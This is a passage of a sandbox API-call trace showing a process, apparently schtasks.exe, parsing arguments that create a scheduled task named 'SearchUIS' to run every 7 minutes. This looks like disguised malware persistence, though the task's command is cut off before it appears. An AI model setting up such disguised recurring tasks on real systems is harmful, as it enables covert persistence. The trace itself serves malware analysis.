_BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tn|") returned 4 [0126.799] lstrlenW (lpString="|i|") returned 3 [0126.799] lstrlenW (lpString="|tn|") returned 4 [0126.799] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.799] lstrlenW (lpString="tn") returned 2 [0126.799] lstrlenW (lpString="tn") returned 2 [0126.799] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.799] lstrlenW (lpString="tn") returned 2 [0126.799] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.799] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tn|") returned 4 [0126.799] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tn|") returned 4 [0126.800] lstrlenW (lpString="|tn|") returned 4 [0126.800] lstrlenW (lpString="|tn|") returned 4 [0126.800] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0126.800] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.800] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.800] lstrlenW (lpString="SearchUIS") returned 9 [0126.800] lstrlenW (lpString="-/") returned 2 [0126.800] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0126.800] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.800] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.800] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.800] lstrlenW (lpString="SearchUIS") returned 9 [0126.800] StrChrIW (lpStart="SearchUIS", wMatch=0x3a) returned 0x0 [0126.800] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.800] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.800] lstrlenW (lpString="SearchUIS") returned 9 [0126.800] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.800] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.800] lstrlenW (lpString="/sc") returned 3 [0126.800] lstrlenW (lpString="-/") returned 2 [0126.800] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.800] lstrlenW (lpString="create") returned 6 [0126.800] lstrlenW (lpString="create") returned 6 [0126.800] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.800] lstrlenW (lpString="sc") returned 2 [0126.800] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.800] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|create|") returned 8 [0126.800] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|sc|") returned 4 [0126.800] lstrlenW (lpString="|create|") returned 8 [0126.800] lstrlenW (lpString="|sc|") returned 4 [0126.801] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0126.801] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.801] lstrlenW (lpString="?") returned 1 [0126.801] lstrlenW (lpString="?") returned 1 [0126.801] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.801] lstrlenW (lpString="sc") returned 2 [0126.801] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.801] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|?|") returned 3 [0126.801] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|sc|") returned 4 [0126.801] lstrlenW (lpString="|?|") returned 3 [0126.801] lstrlenW (lpString="|sc|") returned 4 [0126.801] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.801] lstrlenW (lpString="s") returned 1 [0126.801] lstrlenW (lpString="s") returned 1 [0126.801] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.801] lstrlenW (lpString="sc") returned 2 [0126.801] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.801] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|s|") returned 3 [0126.801] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|sc|") returned 4 [0126.801] lstrlenW (lpString="|s|") returned 3 [0126.801] lstrlenW (lpString="|sc|") returned 4 [0126.801] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.801] lstrlenW (lpString="u") returned 1 [0126.801] lstrlenW (lpString="u") returned 1 [0126.801] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.801] lstrlenW (lpString="sc") returned 2 [0126.801] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.802] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|u|") returned 3 [0126.802] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|sc|") returned 4 [0126.802] lstrlenW (lpString="|u|") returned 3 [0126.802] lstrlenW (lpString="|sc|") returned 4 [0126.802] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.802] lstrlenW (lpString="p") returned 1 [0126.802] lstrlenW (lpString="p") returned 1 [0126.802] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.802] lstrlenW (lpString="sc") returned 2 [0126.802] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.802] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|p|") returned 3 [0126.802] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|sc|") returned 4 [0126.802] lstrlenW (lpString="|p|") returned 3 [0126.802] lstrlenW (lpString="|sc|") returned 4 [0126.802] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.802] lstrlenW (lpString="ru") returned 2 [0126.802] lstrlenW (lpString="ru") returned 2 [0126.802] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.802] lstrlenW (lpString="sc") returned 2 [0126.802] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.802] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|ru|") returned 4 [0126.802] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|sc|") returned 4 [0126.802] lstrlenW (lpString="|ru|") returned 4 [0126.802] lstrlenW (lpString="|sc|") returned 4 [0126.802] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0126.802] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.802] lstrlenW (lpString="rp") returned 2 [0126.802] lstrlenW (lpString="rp") returned 2 [0126.802] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.803] lstrlenW (lpString="sc") returned 2 [0126.803] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.803] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rp|") returned 4 [0126.803] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|sc|") returned 4 [0126.803] lstrlenW (lpString="|rp|") returned 4 [0126.803] lstrlenW (lpString="|sc|") returned 4 [0126.803] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0126.803] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.803] lstrlenW (lpString="sc") returned 2 [0126.803] lstrlenW (lpString="sc") returned 2 [0126.803] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.803] lstrlenW (lpString="sc") returned 2 [0126.803] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.803] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|sc|") returned 4 [0126.803] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|sc|") returned 4 [0126.803] lstrlenW (lpString="|sc|") returned 4 [0126.803] lstrlenW (lpString="|sc|") returned 4 [0126.803] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0126.803] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.803] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.803] lstrlenW (lpString="MINUTE") returned 6 [0126.803] lstrlenW (lpString="-/") returned 2 [0126.803] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0126.803] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.803] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.803] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.803] lstrlenW (lpString="MINUTE") returned 6 [0126.803] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0126.804] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.804] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.804] GetProcessHeap () returned 0x1769e910000 [0126.804] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x18) returned 0x1769e91aa00 [0126.804] _memicmp (_Buf1=0x1769e91aa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.804] lstrlenW (lpString="MINUTE") returned 6 [0126.804] GetProcessHeap () returned 0x1769e910000 [0126.804] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0xe) returned 0x1769e91a940 [0126.804] lstrlenW (lpString="MINUTE") returned 6 [0126.804] lstrlenW (lpString=" \x09") returned 2 [0126.804] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0126.804] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0126.804] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0126.804] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0126.804] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0126.804] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0126.804] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0126.804] GetLastError () returned 0x0 [0126.804] lstrlenW (lpString="MINUTE") returned 6 [0126.804] lstrlenW (lpString="MINUTE") returned 6 [0126.804] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.804] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.804] lstrlenW (lpString="/mo") returned 3 [0126.804] lstrlenW (lpString="-/") returned 2 [0126.804] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.804] lstrlenW (lpString="create") returned 6 [0126.804] lstrlenW (lpString="create") returned 6 [0126.804] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.804] lstrlenW (lpString="mo") returned 2 [0126.804] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.805] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|create|") returned 8 [0126.805] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|mo|") returned 4 [0126.805] lstrlenW (lpString="|create|") returned 8 [0126.805] lstrlenW (lpString="|mo|") returned 4 [0126.805] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0126.805] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.805] lstrlenW (lpString="?") returned 1 [0126.805] lstrlenW (lpString="?") returned 1 [0126.805] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.805] lstrlenW (lpString="mo") returned 2 [0126.805] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.805] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|?|") returned 3 [0126.805] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|mo|") returned 4 [0126.805] lstrlenW (lpString="|?|") returned 3 [0126.805] lstrlenW (lpString="|mo|") returned 4 [0126.805] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.805] lstrlenW (lpString="s") returned 1 [0126.805] lstrlenW (lpString="s") returned 1 [0126.805] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.805] lstrlenW (lpString="mo") returned 2 [0126.805] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.805] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|s|") returned 3 [0126.805] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|mo|") returned 4 [0126.805] lstrlenW (lpString="|s|") returned 3 [0126.805] lstrlenW (lpString="|mo|") returned 4 [0126.805] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.805] lstrlenW (lpString="u") returned 1 [0126.805] lstrlenW (lpString="u") returned 1 [0126.806] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.806] lstrlenW (lpString="mo") returned 2 [0126.806] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.806] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|u|") returned 3 [0126.806] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|mo|") returned 4 [0126.806] lstrlenW (lpString="|u|") returned 3 [0126.806] lstrlenW (lpString="|mo|") returned 4 [0126.806] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.806] lstrlenW (lpString="p") returned 1 [0126.806] lstrlenW (lpString="p") returned 1 [0126.806] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.806] lstrlenW (lpString="mo") returned 2 [0126.806] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.806] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|p|") returned 3 [0126.806] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|mo|") returned 4 [0126.806] lstrlenW (lpString="|p|") returned 3 [0126.806] lstrlenW (lpString="|mo|") returned 4 [0126.806] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.806] lstrlenW (lpString="ru") returned 2 [0126.806] lstrlenW (lpString="ru") returned 2 [0126.806] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.806] lstrlenW (lpString="mo") returned 2 [0126.806] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.806] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|ru|") returned 4 [0126.806] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|mo|") returned 4 [0126.806] lstrlenW (lpString="|ru|") returned 4 [0126.806] lstrlenW (lpString="|mo|") returned 4 [0126.807] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0126.807] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.807] lstrlenW (lpString="rp") returned 2 [0126.807] lstrlenW (lpString="rp") returned 2 [0126.807] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.807] lstrlenW (lpString="mo") returned 2 [0126.807] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.807] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rp|") returned 4 [0126.807] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|mo|") returned 4 [0126.807] lstrlenW (lpString="|rp|") returned 4 [0126.807] lstrlenW (lpString="|mo|") returned 4 [0126.807] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0126.807] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.807] lstrlenW (lpString="sc") returned 2 [0126.807] lstrlenW (lpString="sc") returned 2 [0126.807] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.807] lstrlenW (lpString="mo") returned 2 [0126.807] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.807] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|sc|") returned 4 [0126.807] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|mo|") returned 4 [0126.807] lstrlenW (lpString="|sc|") returned 4 [0126.807] lstrlenW (lpString="|mo|") returned 4 [0126.807] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0126.807] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.807] lstrlenW (lpString="mo") returned 2 [0126.807] lstrlenW (lpString="mo") returned 2 [0126.807] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.807] lstrlenW (lpString="mo") returned 2 [0126.808] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.808] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|mo|") returned 4 [0126.808] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|mo|") returned 4 [0126.808] lstrlenW (lpString="|mo|") returned 4 [0126.808] lstrlenW (lpString="|mo|") returned 4 [0126.808] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0126.808] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.808] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.808] lstrlenW (lpString="7") returned 1 [0126.808] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.808] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.808] lstrlenW (lpString="7") returned 1 [0126.808] StrChrIW (lpStart="7", wMatch=0x3a) returned 0x0 [0126.808] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.808] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.808] _memicmp (_Buf1=0x1769e91aa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.808] lstrlenW (lpString="7") returned 1 [0126.808] lstrlenW (lpString="7") returned 1 [0126.808] lstrlenW (lpString=" \x09") returned 2 [0126.808] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0126.808] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0126.808] GetLastError () returned 0x0 [0126.808] lstrlenW (lpString="7") returned 1 [0126.808] lstrlenW (lpString="7") returned 1 [0126.808] GetProcessHeap () returned 0x1769e910000 [0126.808] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x4) returned 0x1769e914e90 [0126.808] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.808] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.808] lstrlenW (lpString="/tr") returned 3 [0126.808] lstrlenW (lpString="-/") returned 2 [0126.808] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.809] lstrlenW (lpString="create") returned 6 [0126.809] lstrlenW (lpString="create") returned 6 [0126.809] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.809] lstrlenW (lpString="tr") returned 2 [0126.809] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.809] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|create|") returned 8 [0126.809] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tr|") returned 4 [0126.809] lstrlenW (lpString="|create|") returned 8 [0126.809] lstrlenW (lpString="|tr|") returned 4 [0126.809] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0126.809] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.809] lstrlenW (lpString="?") returned 1 [0126.809] lstrlenW (lpString="?") returned 1 [0126.809] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.809] lstrlenW (lpString="tr") returned 2 [0126.809] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.809] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|?|") returned 3 [0126.809] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tr|") returned 4 [0126.809] lstrlenW (lpString="|?|") returned 3 [0126.809] lstrlenW (lpString="|tr|") returned 4 [0126.809] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.809] lstrlenW (lpString="s") returned 1 [0126.809] lstrlenW (lpString="s") returned 1 [0126.809] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.809] lstrlenW (lpString="tr") returned 2 [0126.810] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.810] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|s|") returned 3 [0126.810] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tr|") returned 4 [0126.810] lstrlenW (lpString="|s|") returned 3 [0126.810] lstrlenW (lpString="|tr|") returned 4 [0126.810] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.810] lstrlenW (lpString="u") returned 1 [0126.810] lstrlenW (lpString="u") returned 1 [0126.810] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.810] lstrlenW (lpString="tr") returned 2 [0126.810] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.810] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|u|") returned 3 [0126.810] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tr|") returned 4 [0126.810] lstrlenW (lpString="|u|") returned 3 [0126.810] lstrlenW (lpString="|tr|") returned 4 [0126.810] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.810] lstrlenW (lpString="p") returned 1 [0126.810] lstrlenW (lpString="p") returned 1 [0126.810] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.810] lstrlenW (lpString="tr") returned 2 [0126.810] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.810] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|p|") returned 3 [0126.810] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tr|") returned 4 [0126.810] lstrlenW (lpString="|p|") returned 3 [0126.810] lstrlenW (lpString="|tr|") returned 4 [0126.810] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.810] lstrlenW (lpString="ru") returned 2 [0126.811] lstrlenW (lpString="ru") returned 2 [0126.811] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.811] lstrlenW (lpString="tr") returned 2 [0126.811] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.811] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|ru|") returned 4 [0126.811] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tr|") returned 4 [0126.811] lstrlenW (lpString="|ru|") returned 4 [0126.811] lstrlenW (lpString="|tr|") returned 4 [0126.811] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0126.811] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.811] lstrlenW (lpString="rp") returned 2 [0126.811] lstrlenW (lpString="rp") returned 2 [0126.811] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.811] lstrlenW (lpString="tr") returned 2 [0126.811] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.811] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rp|") returned 4 [0126.811] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tr|") returned 4 [0126.811] lstrlenW (lpString="|rp|") returned 4 [0126.811] lstrlenW (lpString="|tr|") returned 4 [0126.811] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0126.811] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.811] lstrlenW (lpString="sc") returned 2 [0126.811] lstrlenW (lpString="sc") returned 2 [0126.811] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.811] lstrlenW (lpString="tr") returned 2 [0126.811] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.812] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|sc|") returned 4 [0126.812] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tr|") returned 4 [0126.812] lstrlenW (lpString="|sc|") returned 4 [0126.812] lstrlenW (lpString="|tr|") returned 4 [0126.812] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0126.812] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.812] lstrlenW (lpString="mo") returned 2 [0126.812] lstrlenW (lpString="mo") returned 2 [0126.812] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.812] lstrlenW (lpString="tr") returned 2 [0126.812] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.812] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|mo|") returned 4 [0126.812] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tr|") returned 4 [0126.812] lstrlenW (lpString="|mo|") returned 4 [0126.812] lstrlenW (lpString="|tr|") returned 4 